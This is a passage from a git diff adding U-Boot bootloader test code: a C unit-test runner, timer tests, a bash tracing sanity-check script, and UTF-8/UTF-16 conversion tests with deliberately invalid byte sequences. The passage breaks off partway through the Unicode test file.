+ * @uts: Test state to update. The caller should ensure that this is zeroed for
+ * the first call to this function. On exit, @uts->fail_count is
+ * incremented by the number of failures (0, one hopes)
+ * @test_name: Test to run
+ * @name: Name of test, possibly skipping a prefix that should not be displayed
+ * Return: 0 if all tests passed, -EAGAIN if the test should be skipped, -1 if
+ * any failed
+ */
+static int ut_run_test(struct unit_test_state *uts, struct unit_test *test,
+ const char *test_name)
+{
+ const char *fname = strrchr(test->file, '/') + 1;
+ const char *note = "";
+ int ret;
+
+ if ((test->flags & UT_TESTF_DM) && !uts->of_live)
+ note = " (flat tree)";
+ printf("Test: %s: %s%s\n", test_name, fname, note);
+
+ /* Allow access to test state from drivers */
+ test_set_state(uts);
+
+ ret = test_pre_run(uts, test);
+ if (ret == -EAGAIN)
+ return skip_test(uts);
+ if (ret)
+ return ret;
+
+ ret = test->func(uts);
+ if (ret == -EAGAIN)
+ skip_test(uts);
+
+ ret = test_post_run(uts, test);
+ if (ret)
+ return ret;
+
+ test_set_state( NULL);
+
+ return 0;
+}
+
+/**
+ * ut_run_test_live_flat() - Run a test with both live and flat tree
+ *
+ * This calls ut_run_test() with livetree enabled, which is the standard setup
+ * for runnig tests. Then, for driver model test, it calls it again with
+ * livetree disabled. This allows checking of flattree being used when OF_LIVE
+ * is enabled, as is the case in U-Boot proper before relocation, as well as in
+ * SPL.
+ *
+ * @uts: Test state to update. The caller should ensure that this is zeroed for
+ * the first call to this function. On exit, @uts->fail_count is
+ * incremented by the number of failures (0, one hopes)
+ * @test: Test to run
+ * Return: 0 if all tests passed, -EAGAIN if the test should be skipped, -1 if
+ * any failed
+ */
+static int ut_run_test_live_flat(struct unit_test_state *uts,
+ struct unit_test *test)
+{
+ int runs;
+
+ if ((test->flags & UT_TESTF_OTHER_FDT) && !IS_ENABLED(CONFIG_SANDBOX))
+ return skip_test(uts);
+
+ /* Run with the live tree if possible */
+ runs = 0;
+ if (CONFIG_IS_ENABLED(OF_LIVE)) {
+ if (!(test->flags & UT_TESTF_FLAT_TREE)) {
+ uts->of_live = true;
+ ut_assertok(ut_run_test(uts, test, test->name));
+ runs++;
+ }
+ }
+
+ /*
+ * Run with the flat tree if:
+ * - it is not marked for live tree only
+ * - it doesn't require the 'other' FDT when OFNODE_MULTI_TREE_MAX is
+ * not enabled (since flat tree can only support a single FDT in that
+ * case
+ * - we couldn't run it with live tree,
+ * - it is a core test (dm tests except video)
+ * - the FDT is still valid and has not been updated by an earlier test
+ * (for sandbox we handle this by copying the tree, but not for other
+ * boards)
+ */
+ if ((!CONFIG_IS_ENABLED(OF_LIVE) ||
+ (test->flags & UT_TESTF_SCAN_FDT)) &&
+ !(test->flags & UT_TESTF_LIVE_TREE) &&
+ (CONFIG_IS_ENABLED(OFNODE_MULTI_TREE) ||
+ !(test->flags & UT_TESTF_OTHER_FDT)) &&
+ (!runs || ut_test_run_on_flattree(test)) &&
+ !(gd->flags & GD_FLG_FDT_CHANGED)) {
+ uts->of_live = false;
+ ut_assertok(ut_run_test(uts, test, test->name));
+ runs++;
+ }
+
+ return 0;
+}
+
+/**
+ * ut_run_tests() - Run a set of tests
+ *
+ * This runs the tests, handling any preparation and clean-up needed. It prints
+ * the name of each test before running it.
+ *
+ * @uts: Test state to update. The caller should ensure that this is zeroed for
+ * the first call to this function. On exit, @uts->fail_count is
+ * incremented by the number of failures (0, one hopes)
+ * @prefix: String prefix for the tests. Any tests that have this prefix will be
+ * printed without the prefix, so that it is easier to see the unique part
+ * of the test name. If NULL, no prefix processing is done
+ * @tests: List of tests to run
+ * @count: Number of tests to run
+ * @select_name: Name of a single test to run (from the list provided). If NULL
+ * then all tests are run
+ * Return: 0 if all tests passed, -ENOENT if test @select_name was not found,
+ * -EBADF if any failed
+ */
+static int ut_run_tests(struct unit_test_state *uts, const char *prefix,
+ struct unit_test *tests, int count,
+ const char *select_name, const char *test_insert)
+{
+ struct unit_test *test, *one;
+ int found = 0;
+ int pos = 0;
+ int upto;
+
+ one = NULL;
+ if (test_insert) {
+ char *p;
+
+ pos = dectoul(test_insert, NULL);
+ p = strchr(test_insert, ':');
+ if (p)
+ p++;
+
+ for (test = tests; test < tests + count; test++) {
+ if (!strcmp(p, test->name))
+ one = test;
+ }
+ }
+
+ for (upto = 0, test = tests; test < tests + count; test++, upto++) {
+ const char *test_name = test->name;
+ int ret, i, old_fail_count;
+
+ if (!test_matches(prefix, test_name, select_name))
+ continue;
+
+ if (test->flags & UT_TESTF_MANUAL) {
+ int len;
+
+ /*
+ * manual tests must have a name ending "_norun" as this
+ * is how pytest knows to skip them. See
+ * generate_ut_subtest() for this check.
+ */
+ len = strlen(test_name);
+ if (len < 6 || strcmp(test_name + len - 6, "_norun")) {
+ printf("Test %s is manual so must have a name ending in _norun\n",
+ test_name);
+ uts->fail_count++;
+ return -EBADF;
+ }
+ if (!uts->force_run) {
+ if (select_name) {
+ printf("Test %s skipped as it is manual (use -f to run it)\n",
+ test_name);
+ }
+ continue;
+ }
+ }
+ old_fail_count = uts->fail_count;
+
+ if (one && upto == pos) {
+ ret = ut_run_test_live_flat(uts, one);
+ if (uts->fail_count != old_fail_count) {
+ printf("Test %s failed %d times (position %d)\n",
+ one->name,
+ uts->fail_count - old_fail_count, pos);
+ }
+ return -EBADF;
+ }
+
+ for (i = 0; i < uts->runs_per_test; i++)
+ ret = ut_run_test_live_flat(uts, test);
+ if (uts->fail_count != old_fail_count) {
+ printf("Test %s failed %d times\n", select_name,
+ uts->fail_count - old_fail_count);
+ }
+ found++;
+ if (ret == -EAGAIN)
+ continue;
+ if (ret)
+ return ret;
+ }
+ if (select_name && !found)
+ return -ENOENT;
+
+ return uts->fail_count ? -EBADF : 0;
+}
+
+int ut_run_list(const char *category, const char *prefix,
+ struct unit_test *tests, int count, const char *select_name,
+ int runs_per_test, bool force_run, const char *test_insert)
+{
+ struct unit_test_state uts = { .fail_count = 0 };
+ bool has_dm_tests = false;
+ int ret;
+
+ if (!CONFIG_IS_ENABLED(OF_PLATDATA) &&
+ ut_list_has_dm_tests(tests, count)) {
+ has_dm_tests = true;
+ /*
+ * If we have no device tree, or it only has a root node, then
+ * these * tests clearly aren't going to work...
+ */
+ if (!gd->fdt_blob || fdt_next_node(gd->fdt_blob, 0, NULL) < 0) {
+ puts("Please run with test device tree:\n"
+ " ./u-boot -d arch/sandbox/dts/test.dtb\n");
+ return CMD_RET_FAILURE;
+ }
+ }
+
+ if (!select_name)
+ printf("Running %d %s tests\n", count, category);
+
+ uts.of_root = gd_of_root();
+ uts.runs_per_test = runs_per_test;
+ if (fdt_action() == FDTCHK_COPY && gd->fdt_blob) {
+ uts.fdt_size = fdt_totalsize(gd->fdt_blob);
+ uts.fdt_copy = os_malloc(uts.fdt_size);
+ if (!uts.fdt_copy) {
+ printf("Out of memory for device tree copy\n");
+ return -ENOMEM;
+ }
+ memcpy(uts.fdt_copy, gd->fdt_blob, uts.fdt_size);
+ }
+ uts.force_run = force_run;
+ ret = ut_run_tests(&uts, prefix, tests, count, select_name,
+ test_insert);
+
+ /* Best efforts only...ignore errors */
+ if (has_dm_tests)
+ dm_test_restore(uts.of_root);
+ if (IS_ENABLED(CONFIG_SANDBOX)) {
+ os_free(uts.fdt_copy);
+ os_free(uts.other_fdt);
+ }
+
+ if (uts.skip_count)
+ printf("Skipped: %d, ", uts.skip_count);
+ if (ret == -ENOENT)
+ printf("Test '%s' not found\n", select_name);
+ else
+ printf("Failures: %d\n", uts.fail_count);
+
+ return ret;
+}
diff --git a/test/time_ut.c b/test/time_ut.c
new file mode 100644
index 00000000000..149c4b58f4a
--- /dev/null
+++ b/test/time_ut.c
@@ -0,0 +1,132 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2015 Google, Inc
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <command.h>
+#include <errno.h>
+#include <time.h>
+#include <linux/delay.h>
+
+static int test_get_timer(void)
+{
+ ulong base, start, next, diff;
+ int iter;
+
+ base = get_timer(0);
+ start = get_timer(0);
+ for (iter = 0; iter < 10; iter++) {
+ do {
+ next = get_timer(0);
+ } while (start == next);
+
+ if (start + 1 != next) {
+ printf("%s: iter=%d, start=%lu, next=%lu, expected a difference of 1\n",
+ __func__, iter, start, next);
+ return -EINVAL;
+ }
+ start++;
+ }
+
+ /*
+ * Check that get_timer(base) matches our elapsed time, allowing that
+ * an extra millisecond may have passed.
+ */
+ diff = get_timer(base);
+ if (diff != iter && diff != iter + 1) {
+ printf("%s: expected get_timer(base) to match elapsed time: diff=%lu, expected=%d\n",
+ __func__, diff, iter);
+ return -EINVAL;
+ }
+
+ return 0;
+}
+
+static int test_timer_get_us(void)
+{
+ ulong prev, next, min = 1000000;
+ long delta;
+ int iter;
+
+ /* Find the minimum delta we can measure, in microseconds */
+ prev = timer_get_us();
+ for (iter = 0; iter < 100; ) {
+ next = timer_get_us();
+ if (next != prev) {
+ delta = next - prev;
+ if (delta < 0) {
+ printf("%s: timer_get_us() went backwards from %lu to %lu\n",
+ __func__, prev, next);
+ return -EINVAL;
+ } else if (delta != 0) {
+ if (delta < min)
+ min = delta;
+ prev = next;
+ iter++;
+ }
+ }
+ }
+
+ if (min != 1) {
+ printf("%s: Minimum microsecond delta should be 1 but is %lu\n",
+ __func__, min);
+ return -EINVAL;
+ }
+
+ return 0;
+}
+
+static int test_time_comparison(void)
+{
+ ulong start_us, end_us, delta_us;
+ long error;
+ ulong start;
+
+ start = get_timer(0);
+ start_us = timer_get_us();
+ while (get_timer(start) < 1000)
+ ;
+ end_us = timer_get_us();
+ delta_us = end_us - start_us;
+ error = delta_us - 1000000;
+ printf("%s: Microsecond time for 1 second: %lu, error = %ld\n",
+ __func__, delta_us, error);
+ if (abs(error) > 1000)
+ return -EINVAL;
+
+ return 0;
+}
+
+static int test_udelay(void)
+{
+ long error;
+ ulong start, delta;
+ int iter;
+
+ start = get_timer(0);
+ for (iter = 0; iter < 1000; iter++)
+ udelay(1000);
+ delta = get_timer(start);
+ error = delta - 1000;
+ printf("%s: Delay time for 1000 udelay(1000): %lu ms, error = %ld\n",
+ __func__, delta, error);
+ if (abs(error) > 100)
+ return -EINVAL;
+
+ return 0;
+}
+
+int do_ut_time(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ int ret = 0;
+
+ ret |= test_get_timer();
+ ret |= test_timer_get_us();
+ ret |= test_time_comparison();
+ ret |= test_udelay();
+
+ printf("Test %s\n", ret ? "failed" : "passed");
+
+ return ret ? CMD_RET_FAILURE : CMD_RET_SUCCESS;
+}
diff --git a/test/trace/test-trace.sh b/test/trace/test-trace.sh
new file mode 100755
index 00000000000..5130b2bf017
--- /dev/null
+++ b/test/trace/test-trace.sh
@@ -0,0 +1,64 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2013 The Chromium OS Authors.
+#
+
+# Simple test script for tracing with sandbox
+
+TRACE_OPT="FTRACE=1"
+
+BASE="$(dirname $0)/.."
+. $BASE/common.sh
+
+run_trace() {
+ echo "Run trace"
+ ./${OUTPUT_DIR}/u-boot <<END
+trace stats
+hash sha256 0 10000
+trace pause
+trace stats
+hash sha256 0 10000
+trace stats
+trace resume
+hash sha256 0 10000
+trace pause
+trace stats
+reset
+END
+}
+
+check_results() {
+ echo "Check results"
+
+ # Expect sha256 to run 3 times, so we see the string 6 times
+ if [ $(grep -c sha256 ${tmp}) -ne 6 ]; then
+ fail "sha256 error"
+ fi
+
+ # 4 sets of results (output of 'trace stats')
+ if [ $(grep -c "traced function calls" ${tmp}) -ne 4 ]; then
+ fail "trace output error"
+ fi
+
+ # Check trace counts. We expect to see an increase in the number of
+ # traced function calls between each 'trace stats' command, except
+ # between calls 2 and 3, where tracing is paused.
+ # This code gets the sign of the difference between each number and
+ # its predecessor.
+ counts="$(tr -d ',\r' <${tmp} | awk \
+ '/traced function calls/ { diff = $1 - upto; upto = $1; \
+ printf "%d ", diff < 0 ? -1 : (diff > 0 ? 1 : 0)}')"
+
+ if [ "${counts}" != "1 1 0 1 " ]; then
+ fail "trace collection error: ${counts}"
+ fi
+}
+
+echo "Simple trace test / sanity check using sandbox"
+echo
+tmp="$(tempfile)"
+build_uboot "${TRACE_OPT}"
+run_trace >${tmp}
+check_results ${tmp}
+rm ${tmp}
+echo "Test passed"
diff --git a/test/unicode_ut.c b/test/unicode_ut.c
new file mode 100644
index 00000000000..13e29c9b9e3
--- /dev/null
+++ b/test/unicode_ut.c
@@ -0,0 +1,858 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Unit tests for Unicode functions
+ *
+ * Copyright (c) 2018 Heinrich Schuchardt <xypron.glpk@gmx.de>
+ */
+
+#include <charset.h>
+#include <command.h>
+#include <efi_loader.h>
+#include <errno.h>
+#include <log.h>
+#include <malloc.h>
+#include <test/test.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+/* Linker list entry for a Unicode test */
+#define UNICODE_TEST(_name) UNIT_TEST(_name, 0, unicode_test)
+
+/* Constants c1-c4 and d1-d4 encode the same letters */
+
+/* Six characters translating to one utf-8 byte each. */
+static const u16 c1[] = {0x55, 0x2d, 0x42, 0x6f, 0x6f, 0x74, 0x00};
+/* One character translating to two utf-8 bytes */
+static const u16 c2[] = {0x6b, 0x61, 0x66, 0x62, 0xe1, 0x74, 0x75, 0x72, 0x00};
+/* Three characters translating to three utf-8 bytes each */
+static const u16 c3[] = {0x6f5c, 0x6c34, 0x8266, 0x00};
+/* Three letters translating to four utf-8 bytes each */
+static const u16 c4[] = {0xd801, 0xdc8d, 0xd801, 0xdc96, 0xd801, 0xdc87,
+ 0x0000};
+
+/* Illegal utf-16 strings */
+static const u16 i1[] = {0x69, 0x31, 0xdc87, 0x6c, 0x00};
+static const u16 i2[] = {0x69, 0x32, 0xd801, 0xd801, 0x6c, 0x00};
+static const u16 i3[] = {0x69, 0x33, 0xd801, 0x00};
+
+/* Six characters translating to one utf-16 word each. */
+static const char d1[] = {0x55, 0x2d, 0x42, 0x6f, 0x6f, 0x74, 0x00};
+/* Eight characters translating to one utf-16 word each */
+static const char d2[] = {0x6b, 0x61, 0x66, 0x62, 0xc3, 0xa1, 0x74, 0x75,
+ 0x72, 0x00};
+/* Three characters translating to one utf-16 word each */
+static const char d3[] = {0xe6, 0xbd, 0x9c, 0xe6, 0xb0, 0xb4, 0xe8, 0x89,
+ 0xa6, 0x00};
+/* Three letters translating to two utf-16 word each */
+static const char d4[] = {0xf0, 0x90, 0x92, 0x8d, 0xf0, 0x90, 0x92, 0x96,
+ 0xf0, 0x90, 0x92, 0x87, 0x00};
+/* Letter not in code page 437 */
+static const char d5[] = {0xCE, 0x92, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F,
+ 0x74, 0x20, 0x42, 0x00};
+
+/* Illegal utf-8 strings */
+static const char j1[] = {0x6a, 0x31, 0xa1, 0x6c, 0x00};
+static const char j2[] = {0x6a, 0x32, 0xc3, 0xc3, 0x6c, 0x00};
+static const char j3[] = {0x6a, 0x33, 0xf0, 0x90, 0xf0, 0x00};
+static const char j4[] = {0xa1, 0x00};
+
+static int unicode_test_u16_strlen(struct unit_test_state *uts)
+{
+ ut_asserteq(6, u16_strlen(c1));
+ ut_asserteq(8, u16_strlen(c2));
+ ut_asserteq(3, u16_strlen(c3));
+ ut_asserteq(6, u16_strlen(c4));
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strlen);
+
+static int unicode_test_u16_strnlen(struct unit_test_state *uts)
+{
+ ut_asserteq(0, u16_strnlen(c1, 0));
+ ut_asserteq(4, u16_strnlen(c1, 4));
+ ut_asserteq(6, u16_strnlen(c1, 6));
+ ut_asserteq(6, u16_strnlen(c1, 7));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strnlen);
+
+static int unicode_test_u16_strdup(struct unit_test_state *uts)
+{
+ u16 *copy = u16_strdup(c4);
+
+ ut_assert(copy != c4);
+ ut_asserteq_mem(copy, c4, sizeof(c4));
+ free(copy);
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strdup);
+
+static int unicode_test_u16_strcpy(struct unit_test_state *uts)
+{
+ u16 *r;
+ u16 copy[10];
+
+ r = u16_strcpy(copy, c1);
+ ut_assert(r == copy);
+ ut_asserteq_mem(copy, c1, sizeof(c1));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strcpy);
+
+/* U-Boot uses UTF-16 strings in the EFI context only. */
+#if CONFIG_IS_ENABLED(EFI_LOADER) && !defined(API_BUILD)
+static int unicode_test_string16(struct unit_test_state *uts)
+{
+ char buf[20];
+ int ret;
+
+ /* Test length and precision */
+ memset(buf, 0xff, sizeof(buf));
+ sprintf(buf, "%8.6ls", c2);
+ ut_asserteq(' ', buf[1]);
+ ut_assert(!strncmp(&buf[2], d2, 7));
+ ut_assert(!buf[9]);
+
+ memset(buf, 0xff, sizeof(buf));
+ sprintf(buf, "%8.6ls", c4);
+ ut_asserteq(' ', buf[4]);
+ ut_assert(!strncmp(&buf[5], d4, 12));
+ ut_assert(!buf[17]);
+
+ memset(buf, 0xff, sizeof(buf));
+ sprintf(buf, "%-8.2ls", c4);
+ ut_asserteq(' ', buf[8]);
+ ut_assert(!strncmp(buf, d4, 8));
+ ut_assert(!buf[14]);
+
+ /* Test handling of illegal utf-16 sequences */
+ memset(buf, 0xff, sizeof(buf));
+ sprintf(buf, "%ls", i1);
+ ut_asserteq_str("i1?l", buf);
+
+ memset(buf, 0xff, sizeof(buf));
+ sprintf(buf, "%ls", i2);
+ ut_asserteq_str("i2?l", buf);
+
+ memset(buf, 0xff, sizeof(buf));
+ sprintf(buf, "%ls", i3);
+ ut_asserteq_str("i3?", buf);
+
+ memset(buf, 0xff, sizeof(buf));
+ ret = snprintf(buf, 4, "%ls", c1);
+ ut_asserteq(6, ret);
+ ut_asserteq_str("U-B", buf);
+
+ memset(buf, 0xff, sizeof(buf));
+ ret = snprintf(buf, 6, "%ls", c2);
+ ut_asserteq_str("kafb", buf);
+ ut_asserteq(9, ret);
+
+ memset(buf, 0xff, sizeof(buf));
+ ret = snprintf(buf, 7, "%ls", c2);
+ ut_asserteq_str("kafb\xC3\xA1", buf);
+ ut_asserteq(9, ret);
+
+ memset(buf, 0xff, sizeof(buf));
+ ret = snprintf(buf, 8, "%ls", c3);
+ ut_asserteq_str("\xE6\xBD\x9C\xE6\xB0\xB4", buf);
+ ut_asserteq(9, ret);
+
+ memset(buf, 0xff, sizeof(buf));
+ ret = snprintf(buf, 11, "%ls", c4);
+ ut_asserteq_str("\xF0\x90\x92\x8D\xF0\x90\x92\x96", buf);
+ ut_asserteq(12, ret);
+
+ memset(buf, 0xff, sizeof(buf));
+ ret = snprintf(buf, 4, "%ls", c4);
+ ut_asserteq_str("", buf);
+ ut_asserteq(12, ret);
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_string16);
+#endif
+
+static int unicode_test_utf8_get(struct unit_test_state *uts)
+{
+ const char *s;
+ s32 code;
+ int i;
+
+ /* Check characters less than 0x800 */
+ s = d2;
+ for (i = 0; i < 8; ++i) {
+ code = utf8_get((const char **)&s);
+ /* c2 is the utf-8 encoding of d2 */
+ ut_asserteq(c2[i], code);
+ if (!code)
+ break;
+ }
+ ut_asserteq_ptr(s, d2 + 9);
+
+ /* Check characters less than 0x10000 */
+ s = d3;
+ for (i = 0; i < 4; ++i) {
+ code = utf8_get((const char **)&s);
+ /* c3 is the utf-8 encoding of d3 */
+ ut_asserteq(c3[i], code);
+ if (!code)
+ break;
+ }
+ ut_asserteq_ptr(s, d3 + 9);
+
+ /* Check character greater 0xffff */
+ s = d4;
+ code = utf8_get((const char **)&s);
+ ut_asserteq(0x0001048d, code);
+ ut_asserteq_ptr(s, d4 + 4);
+
+ /* Check illegal character */
+ s = j4;
+ code = utf8_get((const char **)&s);
+ ut_asserteq(-1, code);
+ ut_asserteq_ptr(j4 + 1, s);
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_get);
+
+static int unicode_test_utf8_put(struct unit_test_state *uts)
+{
+ char buffer[8] = { 0, };
+ char *pos;
+
+ /* Commercial at, translates to one character */
+ pos = buffer;
+ ut_assert(!utf8_put('@', &pos));
+ ut_asserteq(1, pos - buffer);
+ ut_asserteq('@', buffer[0]);
+ ut_assert(!buffer[1]);
+
+ /* Latin letter G with acute, translates to two charactes */
+ pos = buffer;
+ ut_assert(!utf8_put(0x1f4, &pos));
+ ut_asserteq(2, pos - buffer);
+ ut_asserteq_str("\xc7\xb4", buffer);
+
+ /* Tagalog letter i, translates to three characters */
+ pos = buffer;
+ ut_assert(!utf8_put(0x1701, &pos));
+ ut_asserteq(3, pos - buffer);
+ ut_asserteq_str("\xe1\x9c\x81", buffer);
+
+ /* Hamster face, translates to four characters */
+ pos = buffer;
+ ut_assert(!utf8_put(0x1f439, &pos));
+ ut_asserteq(4, pos - buffer);
+ ut_asserteq_str("\xf0\x9f\x90\xb9", buffer);
+
+ /* Illegal code */
+ pos = buffer;
+ ut_asserteq(-1, utf8_put(0xd888, &pos));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_put);
+
+static int unicode_test_utf8_utf16_strlen(struct unit_test_state *uts)
+{
+ ut_asserteq(6, utf8_utf16_strlen(d1));
+ ut_asserteq(8, utf8_utf16_strlen(d2));
+ ut_asserteq(3, utf8_utf16_strlen(d3));
+ ut_asserteq(6, utf8_utf16_strlen(d4));
+
+ /* illegal utf-8 sequences */
+ ut_asserteq(4, utf8_utf16_strlen(j1));
+ ut_asserteq(4, utf8_utf16_strlen(j2));
+ ut_asserteq(3, utf8_utf16_strlen(j3));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_utf16_strlen);
+
+static int unicode_test_utf8_utf16_strnlen(struct unit_test_state *uts)
+{
+ ut_asserteq(3, utf8_utf16_strnlen(d1, 3));
+ ut_asserteq(6, utf8_utf16_strnlen(d1, 13));
+ ut_asserteq(6, utf8_utf16_strnlen(d2, 6));
+ ut_asserteq(2, utf8_utf16_strnlen(d3, 2));
+ ut_asserteq(4, utf8_utf16_strnlen(d4, 2));
+ ut_asserteq(6, utf8_utf16_strnlen(d4, 3));
+
+ /* illegal utf-8 sequences */
+ ut_asserteq(4, utf8_utf16_strnlen(j1, 16));
+ ut_asserteq(4, utf8_utf16_strnlen(j2, 16));
+ ut_asserteq(3, utf8_utf16_strnlen(j3, 16));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_utf16_strnlen);
+
+/**
+ * ut_u16_strcmp() - Compare to u16 strings.
+ *
+ * @a1: first string
+ * @a2: second string
+ * @count: number of u16 to compare
+ * Return: -1 if a1 < a2, 0 if a1 == a2, 1 if a1 > a2
+ */
+static int unicode_test_u16_strcmp(const u16 *a1, const u16 *a2, size_t count)
+{
+ for (; (*a1 || *a2) && count; ++a1, ++a2, --count) {
+ if (*a1 < *a2)
+ return -1;
+ if (*a1 > *a2)
+ return 1;
+ }
+ return 0;
+}
+
+static int unicode_test_utf8_utf16_strcpy(struct unit_test_state *uts)
+{
+ u16 buf[16];
+ u16 *pos;
+
+ pos = buf;
+ utf8_utf16_strcpy(&pos, d1);
+ ut_asserteq(6, pos - buf);
+ ut_assert(!unicode_test_u16_strcmp(buf, c1, SIZE_MAX));
+
+ pos = buf;
+ utf8_utf16_strcpy(&pos, d2);
+ ut_asserteq(8, pos - buf);
+ ut_assert(!unicode_test_u16_strcmp(buf, c2, SIZE_MAX));
+
+ pos = buf;
+ utf8_utf16_strcpy(&pos, d3);
+ ut_asserteq(3, pos - buf);
+ ut_assert(!unicode_test_u16_strcmp(buf, c3, SIZE_MAX));
+
+ pos = buf;
+ utf8_utf16_strcpy(&pos, d4);
+ ut_asserteq(6, pos - buf);
+ ut_assert(!unicode_test_u16_strcmp(buf, c4, SIZE_MAX));
+
+ /* Illegal utf-8 strings */
+ pos = buf;
+ utf8_utf16_strcpy(&pos, j1);
+ ut_asserteq(4, pos - buf);
+ ut_assert(!unicode_test_u16_strcmp(buf, u"j1?l", SIZE_MAX));
+
+ pos = buf;
+ utf8_utf16_strcpy(&pos, j2);
+ ut_asserteq(4, pos - buf);
+ ut_assert(!unicode_test_u16_strcmp(buf, u"j2?l", SIZE_MAX));
+
+ pos = buf;
+ utf8_utf16_strcpy(&pos, j3);
+ ut_asserteq(3, pos - buf);
+ ut_assert(!unicode_test_u16_strcmp(buf, u"j3?", SIZE_MAX));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_utf16_strcpy);
+
+static int unicode_test_utf8_utf16_strncpy(struct unit_test_state *uts)
+{
+ u16 buf[16];
+ u16 *pos;
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf8_utf16_strncpy(&pos, d1, 4);
+ ut_asserteq(4, pos - buf);
+ ut_assert(!buf[4]);
+ ut_assert(!unicode_test_u16_strcmp(buf, c1, 4));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf8_utf16_strncpy(&pos, d2, 10);
+ ut_asserteq(8, pos - buf);
+ ut_assert(buf[4]);
+ ut_assert(!unicode_test_u16_strcmp(buf, c2, SIZE_MAX));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf8_utf16_strncpy(&pos, d3, 2);
+ ut_asserteq(2, pos - buf);
+ ut_assert(!buf[2]);
+ ut_assert(!unicode_test_u16_strcmp(buf, c3, 2));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf8_utf16_strncpy(&pos, d4, 2);
+ ut_asserteq(4, pos - buf);
+ ut_assert(!buf[4]);
+ ut_assert(!unicode_test_u16_strcmp(buf, c4, 4));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf8_utf16_strncpy(&pos, d4, 10);
+ ut_asserteq(6, pos - buf);
+ ut_assert(buf[5]);
+ ut_assert(!unicode_test_u16_strcmp(buf, c4, SIZE_MAX));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_utf16_strncpy);
+
+static int unicode_test_utf16_get(struct unit_test_state *uts)
+{
+ const u16 *s;
+ s32 code;
+ int i;
+
+ /* Check characters less than 0x10000 */
+ s = c2;
+ for (i = 0; i < 9; ++i) {
+ code = utf16_get((const u16 **)&s);
+ ut_asserteq(c2[i], code);
+ if (!code)
+ break;
+ }
+ ut_asserteq_ptr(c2 + 8, s);
+
+ /* Check character greater 0xffff */
+ s = c4;
+ code = utf16_get((const u16 **)&s);
+ ut_asserteq(0x0001048d, code);
+ ut_asserteq_ptr(c4 + 2, s);
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf16_get);
+
+static int unicode_test_utf16_put(struct unit_test_state *uts)
+{
+ u16 buffer[4] = { 0, };
+ u16 *pos;
+
+ /* Commercial at, translates to one word */
+ pos = buffer;
+ ut_assert(!utf16_put('@', &pos));
+ ut_asserteq(1, pos - buffer);
+ ut_asserteq((u16)'@', buffer[0]);
+ ut_assert(!buffer[1]);
+
+ /* Hamster face, translates to two words */
+ pos = buffer;
+ ut_assert(!utf16_put(0x1f439, &pos));
+ ut_asserteq(2, pos - buffer);
+ ut_asserteq((u16)0xd83d, buffer[0]);
+ ut_asserteq((u16)0xdc39, buffer[1]);
+ ut_assert(!buffer[2]);
+
+ /* Illegal code */
+ pos = buffer;
+ ut_asserteq(-1, utf16_put(0xd888, &pos));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf16_put);
+
+static int unicode_test_utf16_strnlen(struct unit_test_state *uts)
+{
+ ut_asserteq(3, utf16_strnlen(c1, 3));
+ ut_asserteq(6, utf16_strnlen(c1, 13));
+ ut_asserteq(6, utf16_strnlen(c2, 6));
+ ut_asserteq(2, utf16_strnlen(c3, 2));
+ ut_asserteq(2, utf16_strnlen(c4, 2));
+ ut_asserteq(3, utf16_strnlen(c4, 3));
+
+ /* illegal utf-16 word sequences */
+ ut_asserteq(4, utf16_strnlen(i1, 16));
+ ut_asserteq(4, utf16_strnlen(i2, 16));
+ ut_asserteq(3, utf16_strnlen(i3, 16));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf16_strnlen);
+
+static int unicode_test_utf16_utf8_strlen(struct unit_test_state *uts)
+{
+ ut_asserteq(6, utf16_utf8_strlen(c1));
+ ut_asserteq(9, utf16_utf8_strlen(c2));
+ ut_asserteq(9, utf16_utf8_strlen(c3));
+ ut_asserteq(12, utf16_utf8_strlen(c4));
+
+ /* illegal utf-16 word sequences */
+ ut_asserteq(4, utf16_utf8_strlen(i1));
+ ut_asserteq(4, utf16_utf8_strlen(i2));
+ ut_asserteq(3, utf16_utf8_strlen(i3));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf16_utf8_strlen);
+
+static int unicode_test_utf16_utf8_strnlen(struct unit_test_state *uts)
+{
+ ut_asserteq(3, utf16_utf8_strnlen(c1, 3));
+ ut_asserteq(6, utf16_utf8_strnlen(c1, 13));
+ ut_asserteq(7, utf16_utf8_strnlen(c2, 6));
+ ut_asserteq(6, utf16_utf8_strnlen(c3, 2));
+ ut_asserteq(8, utf16_utf8_strnlen(c4, 2));
+ ut_asserteq(12, utf16_utf8_strnlen(c4, 3));
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf16_utf8_strnlen);
+
+static int unicode_test_utf16_utf8_strcpy(struct unit_test_state *uts)
+{
+ char buf[16];
+ char *pos;
+
+ pos = buf;
+ utf16_utf8_strcpy(&pos, c1);
+ ut_asserteq(6, pos - buf);
+ ut_asserteq_str(d1, buf);
+
+ pos = buf;
+ utf16_utf8_strcpy(&pos, c2);
+ ut_asserteq(9, pos - buf);
+ ut_asserteq_str(d2, buf);
+
+ pos = buf;
+ utf16_utf8_strcpy(&pos, c3);
+ ut_asserteq(9, pos - buf);
